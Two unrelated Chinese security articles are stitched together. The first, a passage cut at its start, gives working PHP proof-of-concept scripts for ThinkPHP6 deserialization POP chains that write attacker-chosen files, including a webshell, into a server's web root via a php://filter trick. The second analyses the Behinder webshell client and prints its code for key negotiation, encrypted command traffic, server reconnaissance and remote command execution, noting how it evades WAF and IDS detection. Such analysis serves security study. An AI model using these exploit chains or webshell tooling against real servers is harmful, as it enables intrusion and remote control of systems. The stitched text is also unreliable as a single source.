$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
**POC链流程图**
**exp-2**
> 继续跟进 `src/think/cache/driver/File.php` 中的 `set()` 方法，在 `serialize()` 方法后还有一个
> `file_put_contents()` 方法
> 主要看看 `$filename` 和 `$data` 这两个参数是怎么赋值的，先跟进一下 `$filename` 参数，其值来源于
> `getCacheKey()` 方法，跟进该方法发现 `$filename` 参数是可控的：`$name`为文件名来源于
> `$this->key`，`$this->options['hash_type']` 也可控，最终文件名是经过 hash
> 后的，所以最终文件名可控，`$this->options['path']` 使用 `php filter` 构造
> `php://filter/write=convert.base64-decode/resource=think/public/`
> 接着再来看看 `$data` 参数，前面分析已知来源于 `$this->serialize`，此处存在 exit()，正好结合上一步的文件名构造利用
> `php://filter` 来绕过死亡
> exit()，[参考文章](https://www.leavesongs.com/PENETRATION/php-filter-> magic.html)：假设传入的 `$expire=1`，那么写入的 webshell
> 前面部分在拼接之后能够被解码的有效字符为：`php//000000000001exit` 共有21个，要满足 base64 解码的 4 字符为 1
> 组的规则，在其前面补上 3 个字符用于逃逸之后的 base64 解码的影响
**POC**
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache {
protected $autosave = false;
protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $key = "1";
protected $store;
public function __construct($store="") {
$this->store = $store;
}
}
}
namespace think\cache {
abstract class Driver {
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=C:/Tools/phpstudy_pro/WWW/html/ThinkPHP6/public/","data_compress"=>0];
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver{}
}
namespace {
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
**POC链流程图**
### POP链-3
**漏洞分析**
> 起始的触发链和上一条 POP 链一样，用 `src/Storage/AbstractCache.php` 的 `__destruct()` 方法中的
> `save()` 方法作为起始点，寻找一个继承类的 `save()` 方法来作为触发点，这里跟进 `src/Storage/Adapter.php`
> 中的 `save()` 方法，其 `$contents` 的值来自于 `getForStorage()` 方法，这里进过的处理和上一条 POP
> 链分析的时候一样，主要来看看后面的 if…else 操作
> 由于需要通过 `write()` 方法来写入文件，所以需要先使得经过 `has()` 方法后的返回值为 false，这里先寻找一个同时有 `has()`
> 和 `write()` 方法的类
> 查看源码后发现 `src/Adapter/Local.php` 中的 `Local` 类符合要求，先跟进一下 `has()` 方法
> 跟进 `applyPathPrefix()` 方法，其先调用了前面的 `getPathPrefix()` 方法，其中 `$pathPrefix`
> 是可控的，`ltrim()` 方法删除字符串开头的 `/` 和 `\`，因此可以直接传入一个文件名，然后控制 pathPrefix 为路径部分，再回到
> `has()` 方法执行 `file_exists()` 方法，只需要保证传入的文件名不存在即可返回 false
> 再来看看 `write()` 方法，`$location` 的值来源于 `$this->file` 传入 `applyPathPrefix`
> 处理后的文件名，`$contents` 的值是经过 `json_encode` 处理后带有文件内容的 json 数据
**exp**
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache {
protected $autosave = false;
protected $cache = ["H3rmesk1t" => "<?php phpinfo();?>"];
}
}
namespace League\Flysystem\Cached\Storage {
use League\Flysystem\Cached\Storage\AbstractCache;
class Adapter extends AbstractCache {
protected $file;
protected $adapter;
public function __construct($adapter = "") {
$this->file = "C:/Tools/phpstudy_pro/WWW/html/ThinkPHP6/public/pop3.php";
$this->adapter = $adapter;
}
}
}
namespace League\Flysystem\Adapter {
class Local {
protected $writeFlags = 0;
}
}
namespace {
$local = new League\Flysystem\Adapter\Local();
$cache = new League\Flysystem\Cached\Storage\Adapter($local);
echo base64_encode(serialize($cache));
}
?>
**POP链流程图** | 社区文章 |
# 0x01 为什么要分析冰蝎
冰蝎是一种新型的木马连接工具，具备强大的功能，只要将冰蝎码上传到服务器并能够成功访问，那就可以执行诸多实用的功能，包括获取服务器基本信息，执行系统命令，文件管理，数据库管理，反弹meterpreter，执行自定义代码等，功能强大。而且和同类型的菜刀，蚁剑相比，加密了流量，只要在上传冰蝎码时和密匙协商建立连接的时候流量分析设备不能够检测出来，那么连接成功建立之后，waf，ids，ips就会好难再检测到出来。所以，冰蝎绝对是目前渗透测试，红蓝对抗中红方的一大利器。对于红方而言，怎么更好地利用冰蝎，怎么绕过安全流量分析设备对冰蝎的检测，对于蓝方而言，怎么更好地检测和防御冰蝎，就成为了一个重要的话题。
# 0x02 开始
此次进行分析的是冰蝎v2.0.1版本的代码，从总体上看，冰蝎是先请求服务端，服务端判断请求之后生成一个128位的随机数，并将这个128位的随机数写入到session里面，并将这个128位的随机数返回给客户端，但是客户端并不会使用这个key作为之后的通讯的key，而是会继续重复上面过程，不断获取key，直到满足特定条件（下面的贴出代码）之后，才会确定是最终的key。客户端会保存这个key和响应报文里面的set-cookie的值。这个key就是之后客户端和服务端进行通讯的密匙。
获取key和保存cookie之后，获取服务端信息，执行命令，文件操作，数据库操作等都是使用这个key和cookie进行操作，对执行的代码动态生成class字节数组，然后使用key进行aes加密，再进行base64编码，并用post方式发送数据。接收服务端返回的数据时，先使用key进行解密，解密之后的数据一般是使用了base64编码，解码之后就可以获取服务端返回的明文数据。
# 0x03 协商密匙 getKeyAndCookie
客户端打开和服务端的连接之后，会先调用BasicInfoUtils类，在BasicInfoUtils类的getBasicInfo方法里，会调用ShellService的构造方法新建ShellService类。而在ShellService类里面的构造方法，会调用Utils的getKeyAndCookie方法。
public static void getBasicInfo(final JSONObject shellEntity, final Browser baseInfoView, final Tree dirTree, final Text cmdview, final Label connectStatus, Text memoTxt, final Text imagePathTxt, Text msfTipsTxt, final Label statusLabel, final StyledText sourceCodeTxt, final Browser updateInfo, final Combo currentPathCombo, final Text sqlTxt) throws Exception {
int uaIndex = (new Random()).nextInt(Constants.userAgents.length - 1);
final String currentUserAgent = Constants.userAgents[uaIndex];
final MainShell mainShell = (MainShell)dirTree.getShell();
memoTxt.setText(shellEntity.getString("memo"));
formatPayloadName(shellEntity.getString("type"), msfTipsTxt, "meterpreter");
connectStatus.setText("Checking....");
statusLabel.setText("正在获取基本信息……");
(new Thread() {
public void run() {
try {
mainShell.currentShellService = new ShellService(shellEntity, currentUserAgent);
try {
if (mainShell.currentShellService.currentType.equals("php")) {
String content = UUID.randomUUID().toString();
JSONObject obj = mainShell.currentShellService.echo(content);
if (obj.getString("msg").equals(content)) {
mainShell.currentShellService.encryptType = Constants.ENCRYPT_TYPE_AES;
}
}
} catch (Exception var6) {
var6.printStackTrace();
mainShell.currentShellService.encryptType = Constants.ENCRYPT_TYPE_XOR;
}
下面来分析Utils.getKeyAndCookie方法：
放到服务端的木马里面会判断发送上来的请求是否带有pass参数，而在getKeyAndCookie里，password的值就是连接的时候的访问密码里的值，所以在连接的时候访问密码应该要填pass，否则响应报文会返回密匙获取失败，密码错误的错误信息.密匙获取成功的话，会返回一个128位的密匙，并保存在rawKey_1里面。
public static Map<String, String> getKeyAndCookie(String getUrl, String password, Map<String, String> requestHeaders) throws Exception {
disableSslVerification();
Map<String, String> result = new HashMap();
StringBuffer sb = new StringBuffer();
InputStreamReader isr = null;
BufferedReader br = null;
URL url;
if (getUrl.indexOf("?") > 0) {
url = new URL(getUrl + "&" + password + "=" + (new Random()).nextInt(1000));
} else {
url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
}
HttpURLConnection.setFollowRedirects(false);
Object urlConnection;
String urlwithSession;
String errorMsg;
if (url.getProtocol().equals("https")) {
if (Main.currentProxy != null) {
urlConnection = (HttpsURLConnection)url.openConnection(Main.currentProxy);
if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
urlwithSession = "Proxy-Authorization";
errorMsg = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, errorMsg);
}
} else {
urlConnection = (HttpsURLConnection)url.openConnection();
}
} else if (Main.currentProxy != null) {
urlConnection = (HttpURLConnection)url.openConnection(Main.currentProxy);
if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
urlwithSession = "Proxy-Authorization";
errorMsg = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, errorMsg);
}
} else {
urlConnection = (HttpURLConnection)url.openConnection();
}
Iterator var23 = requestHeaders.keySet().iterator();
while(var23.hasNext()) {
urlwithSession = (String)var23.next();
((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, (String)requestHeaders.get(urlwithSession));
}
if (((HttpURLConnection)urlConnection).getResponseCode() == 302 || ((HttpURLConnection)urlConnection).getResponseCode() == 301) {
urlwithSession = ((String)((List)((HttpURLConnection)urlConnection).getHeaderFields().get("Location")).get(0)).toString();
if (!urlwithSession.startsWith("http")) {
urlwithSession = url.getProtocol() + "://" + url.getHost() + ":" + (url.getPort() == -1 ? url.getDefaultPort() : url.getPort()) + urlwithSession;
urlwithSession = urlwithSession.replaceAll(password + "=[0-9]*", "");
}
result.put("urlWithSession", urlwithSession);
}
boolean error = false;
errorMsg = "";
if (((HttpURLConnection)urlConnection).getResponseCode() == 500) {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
error = true;
errorMsg = "密钥获取失败,密码错误?";
} else if (((HttpURLConnection)urlConnection).getResponseCode() == 404) {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
error = true;
errorMsg = "页面返回404错误";
} else {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getInputStream());
}
br = new BufferedReader(isr);
String line;
while((line = br.readLine()) != null) {
sb.append(line);
}
br.close();
if (error) {
throw new Exception(errorMsg);
} else {
String rawKey_1 = sb.toString();
String pattern = "[a-fA-F0-9]{16}";
Pattern r = Pattern.compile(pattern);
Matcher m = r.matcher(rawKey_1);
if (!m.find()) {
throw new Exception("页面存在，但是无法获取密钥!");
} else {
int start = 0;
int end = 0;
int cycleCount = 0;
while(true) {
Map<String, String> KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
String rawKey_2 = (String)KeyAndCookie.get("key");
byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());
int i;
for(i = 0; i < temp.length; ++i) {
if (temp[i] > 0) {
if (start == 0 || i <= start) {
start = i;
}
break;
}
}
for(i = temp.length - 1; i >= 0; --i) {
if (temp[i] > 0) {
if (i >= end) {
end = i + 1;
}
break;
}
}
if (end - start == 16) {
result.put("cookie", (String)KeyAndCookie.get("cookie"));
result.put("beginIndex", String.valueOf(start));
result.put("endIndex", String.valueOf(temp.length - end));
String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
result.put("key", finalKey);
return result;
}
if (cycleCount > 10) {
throw new Exception("Can't figure out the key!");
}
++cycleCount;
}
}
}
}
判断得到的密匙rawKey_1之后，进入循环调用getRawKey方法，并获取rawKey_2，并且将rawKey_1和rawKey_2进行异或操作。获取rawKey_2的方法和获取rawKey_1基本是一样的。
public static Map<String, String> getRawKey(String getUrl, String password, Map<String, String> requestHeaders) throws Exception {
Map<String, String> result = new HashMap();
StringBuffer sb = new StringBuffer();
InputStreamReader isr = null;
BufferedReader br = null;
URL url;
if (getUrl.indexOf("?") > 0) {
url = new URL(getUrl + "&" + password + "=" + (new Random()).nextInt(1000));
} else {
url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
}
HttpURLConnection.setFollowRedirects(false);
Object urlConnection;
String cookieValues;
String headerValue;
if (url.getProtocol().equals("https")) {
if (Main.currentProxy != null) {
urlConnection = (HttpsURLConnection)url.openConnection(Main.currentProxy);
if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
cookieValues = "Proxy-Authorization";
headerValue = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
((HttpURLConnection)urlConnection).setRequestProperty(cookieValues, headerValue);
}
} else {
urlConnection = (HttpsURLConnection)url.openConnection();
}
} else if (Main.currentProxy != null) {
urlConnection = (HttpURLConnection)url.openConnection(Main.currentProxy);
if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
cookieValues = "Proxy-Authorization";
headerValue = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
((HttpURLConnection)urlConnection).setRequestProperty(cookieValues, headerValue);
}
} else {
urlConnection = (HttpURLConnection)url.openConnection();
}
Iterator var15 = requestHeaders.keySet().iterator();
while(var15.hasNext()) {
cookieValues = (String)var15.next();
((HttpURLConnection)urlConnection).setRequestProperty(cookieValues, (String)requestHeaders.get(cookieValues));
}
cookieValues = "";
Map<String, List<String>> headers = ((HttpURLConnection)urlConnection).getHeaderFields();
Iterator var12 = headers.keySet().iterator();
String line;
while(var12.hasNext()) {
String headerName = (String)var12.next();
if (headerName != null && headerName.equalsIgnoreCase("Set-Cookie")) {
for(Iterator var14 = ((List)headers.get(headerName)).iterator(); var14.hasNext(); cookieValues = cookieValues + ";" + line) {
line = (String)var14.next();
}
cookieValues = cookieValues.startsWith(";") ? cookieValues.replaceFirst(";", "") : cookieValues;
break;
}
}
result.put("cookie", cookieValues);
boolean error = false;
String errorMsg = "";
if (((HttpURLConnection)urlConnection).getResponseCode() == 500) {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
error = true;
errorMsg = "密钥获取失败,密码错误?";
} else if (((HttpURLConnection)urlConnection).getResponseCode() == 404) {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
error = true;
errorMsg = "页面返回404错误";
} else {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getInputStream());
}
br = new BufferedReader(isr);
while((line = br.readLine()) != null) {
sb.append(line);
}
br.close();
if (error) {
throw new Exception(errorMsg);
} else {
result.put("key", sb.toString());
return result;
}
}
上面虽然获取了rawKey_1以及是rawKey_1和rawKey_2异或之后的temp字节数组，但是实际上最终的finalKey其实都是使用rawKey_2，temp数组只是用来控制循环的结束条件。每一次循环，都会重新获取rawKey_2，重新和rawKey_1异或生成temp字节数组，其中temp字节数组会在两个循环里面控制start和end变量的值，当end-start==16时，结束循环，并返回最新获取的rawKey_2作为finalKey。
String rawKey_1 = sb.toString();
String pattern = "[a-fA-F0-9]{16}";
Pattern r = Pattern.compile(pattern);
Matcher m = r.matcher(rawKey_1);
if (!m.find()) {
throw new Exception("页面存在，但是无法获取密钥!");
} else {
int start = 0;
int end = 0;
int cycleCount = 0;
while(true) {
Map<String, String> KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
String rawKey_2 = (String)KeyAndCookie.get("key");
byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());
int i;
for(i = 0; i < temp.length; ++i) {
if (temp[i] > 0) {
if (start == 0 || i <= start) {
start = i;
}
break;
}
}
for(i = temp.length - 1; i >= 0; --i) {
if (temp[i] > 0) {
if (i >= end) {
end = i + 1;
}
break;
}
}
if (end - start == 16) {
result.put("cookie", (String)KeyAndCookie.get("cookie"));
result.put("beginIndex", String.valueOf(start));
result.put("endIndex", String.valueOf(temp.length - end));
String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
result.put("key", finalKey);
return result;
}
if (cycleCount > 10) {
throw new Exception("Can't figure out the key!");
}
++cycleCount;
}
返回的finalKey就是循环最后一轮获取的rawKey_2，所以rawKey_1和temp字节数组对于最终的finalKey来说其实并没有用到。我目前的一个猜测是动态控制请求服务端获取key的次数，不固定向服务端请求密匙的次数，以此来绕过waf或nids的一些检测特征，但是其实waf或者nids将同一个会话服务端向客户端返回的可疑的128位随机数保存，然后取最后一次保存的128位随机数作为这个会话的通讯密匙，然后解密这个会话的通讯内容，如果可以成功解密和进行base64解码，那么就可以判断明文内容是不是触发检测规则。
返回到ShellService之后会获取之后会获取返回结果里面的cookie和key，在之后的请求里面都会使用这个cookie和key。
Map<String, String> keyAndCookie = Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders);
String cookie = (String)keyAndCookie.get("cookie");
if ((cookie == null || cookie.equals("")) && !this.currentHeaders.containsKey("cookie")) {
String urlWithSession = (String)keyAndCookie.get("urlWithSession");
if (urlWithSession != null) {
this.currentUrl = urlWithSession;
}
this.currentKey = (String)Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders).get("key");
} else {
this.mergeCookie(this.currentHeaders, cookie);
this.currentKey = (String)keyAndCookie.get("key");
if (this.currentType.equals("php") || this.currentType.equals("aspx")) {
this.beginIndex = Integer.parseInt((String)keyAndCookie.get("beginIndex"));
this.endIndex = Integer.parseInt((String)keyAndCookie.get("endIndex"));
}
}
至此，getKeyAndCookie部分执行完成。下面将以getBasicInfo和runCMD为例分析如何使用这个cookie和key。
# 0x04 获取服务器基本信息 getBasicInfo
在获取了cookie和key之后，BasicInfoUtil的getBasicInfo就会调用ShellService的getBasicInfo方法来获取放了木马的服务器的基本信息。
`JSONObject basicInfoObj = new
JSONObject(mainShell.currentShellService.getBasicInfo());`
在ShellService的getBasicInfo里，会调用Utils.getData方法和Utils.requestAndParse方法，其中，getData方法是使用key加密要执行的代码的class字节数组，并进行base64编码；而requestAndParse则是使用带有获取的cookie的请求头来postgetData得到的加密和编码过后的字节数组，并获取返回信息。
public String getBasicInfo() throws Exception {
String result = "";
Map<String, String> params = new LinkedHashMap();
byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
try {
result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
return result;
} catch (Exception var7) {
var7.printStackTrace();
throw new Exception("请求失败:" + new String(resData, "UTF-8"));
}
}
进入Utils.getData方法，会调用net.rebeyond.behinder.core.Params里面的getParamedClass方法，传入BasicInfo参数，使用ASM框架来动态修改class文件中的属性值，详细可参考<https://xz.aliyun.com/t/2744>
这篇文章
public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type) throws Exception {
return getData(key, encryptType, className, params, type, (byte[])null);
}
public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
byte[] bincls;
byte[] encrypedBincls;
if (type.equals("jsp")) {
className = "net.rebeyond.behinder.payload.java." + className;
bincls = Params.getParamedClass(className, params);
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.Encrypt(bincls, key);
String basedEncryBincls = Base64.encode(encrypedBincls);
return basedEncryBincls.getBytes();
} else if (type.equals("php")) {
bincls = Params.getParamedPhp(className, params);
bincls = Base64.encode(bincls).getBytes();
bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
return Base64.encode(encrypedBincls).getBytes();
} else if (type.equals("aspx")) {
bincls = Params.getParamedAssembly(className, params);
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.EncryptForCSharp(bincls, key);
return encrypedBincls;
} else if (type.equals("asp")) {
bincls = Params.getParamedAsp(className, params);
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.EncryptForAsp(bincls, key);
return encrypedBincls;
} else {
return null;
}
}
我们来关注传入去Param的参数BasicInfo这个类的代码，这个类就是要在放了木马的服务器上执行的payload，这里必须提醒一句，在服务端上的木马在使用ClassLoader来实例化接收回来的class字节数组之后，就会调用equals方法，同时传入Pagecontext对象来使payload获取到session，request，response对象，然后才是获取服务器上面的环境变量，jre参数，当前路径等信息
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
page.getResponse().setCharacterEncoding("UTF-8");
String result = "";
try {
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
Map<String, String> env = System.getenv();
Iterator var7 = env.keySet().iterator();
while(var7.hasNext()) {
String name = (String)var7.next();
basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
}
basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
Properties props = System.getProperties();
Set<Entry<Object, Object>> entrySet = props.entrySet();
Iterator var9 = entrySet.iterator();
while(var9.hasNext()) {
Entry<Object, Object> entry = (Entry)var9.next();
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
}
String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
File[] var14 = roots;
int var13 = roots.length;
for(int var12 = 0; var12 < var13; ++var12) {
File f = var14[var12];
driveList = driveList + f.getPath() + ";";
}
String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
Map<String, String> entity = new HashMap();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
result = this.buildJson(entity, true);
String key = page.getSession().getAttribute("u").toString();
ServletOutputStream so = page.getResponse().getOutputStream();
so.write(Encrypt(result.getBytes(), key));
so.flush();
so.close();
page.getOut().clear();
} catch (Exception var15) {
var15.printStackTrace();
}
return true;
}
BasicInfo类里对拿到的信息进行base64编码并转换成json格式
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var6 = entity.keySet().iterator();
while(var6.hasNext()) {
String key = (String)var6.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}
然后对json数据进行加密,并把数据返回给客户端
public static byte[] Encrypt(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
这里再提醒一次，上面BasicInfo是放在服务器上执行的payload，是在放了木马的服务器上执行的，不是运行客户端的电脑执行的，获取到服务器的信息就加密和编码，再返回给客户端。客户端的Utils.getData将这个basicInfo的payload借助Params类来动态生成字节数组，然后再对字节数组加密和base64编码，然后返回。
public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
byte[] bincls;
byte[] encrypedBincls;
if (type.equals("jsp")) {
className = "net.rebeyond.behinder.payload.java." + className;
bincls = Params.getParamedClass(className, params);
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.Encrypt(bincls, key);
String basedEncryBincls = Base64.encode(encrypedBincls);
return basedEncryBincls.getBytes();
} else if (type.equals("php")) {
bincls = Params.getParamedPhp(className, params);
bincls = Base64.encode(bincls).getBytes();
bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
return Base64.encode(encrypedBincls).getBytes();
} else if (type.equals("aspx")) {
bincls = Params.getParamedAssembly(className, params);
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.EncryptForCSharp(bincls, key);
return encrypedBincls;
} else if (type.equals("asp")) {
bincls = Params.getParamedAsp(className, params);
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.EncryptForAsp(bincls, key);
return encrypedBincls;
} else {
return null;
}
}
接下来调用Utils.requestAndParse来发送数据，这个过程无什么特别，就是post发送带有cookie的请求头，加密编码的字节数组为请求内容的请求报文，并获取服务端的返回结果
public static Map<String, Object> requestAndParse(String urlPath, Map<String, String> header, byte[] data, int beginIndex, int endIndex) throws Exception {
Map<String, Object> resultObj = sendPostRequestBinary(urlPath, header, data);
byte[] resData = (byte[])resultObj.get("data");
if ((beginIndex != 0 || endIndex != 0) && resData.length - endIndex >= beginIndex) {
resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);
}
resultObj.put("data", resData);
return resultObj;
}
public static Map<String, Object> sendPostRequestBinary(String urlPath, Map<String, String> header, byte[] data) throws Exception {
Map<String, Object> result = new HashMap();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
URL url = new URL(urlPath);
HttpURLConnection conn;
String key;
if (Main.currentProxy != null) {
conn = (HttpURLConnection)url.openConnection(Main.currentProxy);
if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
key = "Proxy-Authorization";
String headerValue = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
conn.setRequestProperty(key, headerValue);
}
} else {
conn = (HttpURLConnection)url.openConnection();
}
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setRequestMethod("POST");
if (header != null) {
Iterator var13 = header.keySet().iterator();
while(var13.hasNext()) {
key = (String)var13.next();
conn.setRequestProperty(key, (String)header.get(key));
}
}
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setUseCaches(false);
OutputStream outwritestream = conn.getOutputStream();
outwritestream.write(data);
outwritestream.flush();
outwritestream.close();
byte[] buffer;
boolean var10;
DataInputStream din;
int length;
if (conn.getResponseCode() == 200) {
din = new DataInputStream(conn.getInputStream());
buffer = new byte[1024];
var10 = false;
while((length = din.read(buffer)) != -1) {
bos.write(buffer, 0, length);
}
byte[] resData = bos.toByteArray();
System.out.println("res before decrypt:" + new String(resData));
result.put("data", resData);
Map<String, String> responseHeader = new HashMap();
Iterator var11 = conn.getHeaderFields().keySet().iterator();
while(var11.hasNext()) {
String key = (String)var11.next();
responseHeader.put(key, conn.getHeaderField(key));
}
responseHeader.put("status", String.valueOf(conn.getResponseCode()));
result.put("header", responseHeader);
return result;
} else {
din = new DataInputStream(conn.getErrorStream());
buffer = new byte[1024];
var10 = false;
while((length = din.read(buffer)) != -1) {
bos.write(buffer, 0, length);
}
throw new Exception(new String(bos.toByteArray(), "GBK"));
}
}
然后就是在ShellService里解密响应报文的数据，
String result = "";
Map<String, String> params = new LinkedHashMap();
byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
try {
result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
return result;
} catch (Exception var7) {
var7.printStackTrace();
throw new Exception("请求失败:" + new String(resData, "UTF-8"));
}
在BasicInfoUtil里解码获取到的服务器信息并显示
JSONObject basicInfoObj = new JSONObject(mainShell.currentShellService.getBasicInfo());
final String basicInfoStr = new String(Base64.decode(basicInfoObj.getString("basicInfo")), "UTF-8");
final String driveList = (new String(Base64.decode(basicInfoObj.getString("driveList")), "UTF-8")).replace(":\\", ":/");
final String currentPath = new String(Base64.decode(basicInfoObj.getString("currentPath")), "UTF-8");
final String osInfo = (new String(Base64.decode(basicInfoObj.getString("osInfo")), "UTF-8")).toLowerCase();
mainShell.basicInfoMap.put("basicInfo", basicInfoStr);
mainShell.basicInfoMap.put("driveList", driveList);
mainShell.basicInfoMap.put("currentPath", currentPath);
mainShell.basicInfoMap.put("osInfo", osInfo.replace("winnt", "windows"));
Display.getDefault().syncExec(new Runnable() {
public void run() {
if (!statusLabel.isDisposed()) {
baseInfoView.setText(basicInfoStr);
statusLabel.setText("基本信息获取完成，你可以使用CTRL+F进行搜索");
至此，服务器基本信息获取完成，getBasicInfo执行完成。
# 0x05 执行命令 runCmd
明白了上面getBasicInfo的过程的话，runCmd这部分其实就好理解了，大体过程和上面getBasicInfo差不多，只是动态生成的payload字节数组不同。输入要执行的命令，可以看到在ShellService.runCmd里，也是调用Utils.getData和Utils.requestAndParse，然后解密和解码返回的数据，再返回出去显示。
public JSONObject runCmd(String cmd) throws Exception {
Map<String, String> params = new LinkedHashMap();
params.put("cmd", cmd);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Cmd", params, this.currentType);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
JSONObject result = new JSONObject(resultTxt);
Iterator var9 = result.keySet().iterator();
while(var9.hasNext()) {
String key = (String)var9.next();
result.put(key, new String(Base64.decode(result.getString(key)), "UTF-8"));
}
return result;
}
这是Utils.getData里className就是net.rebeyond.behinder.payload.java.cmd
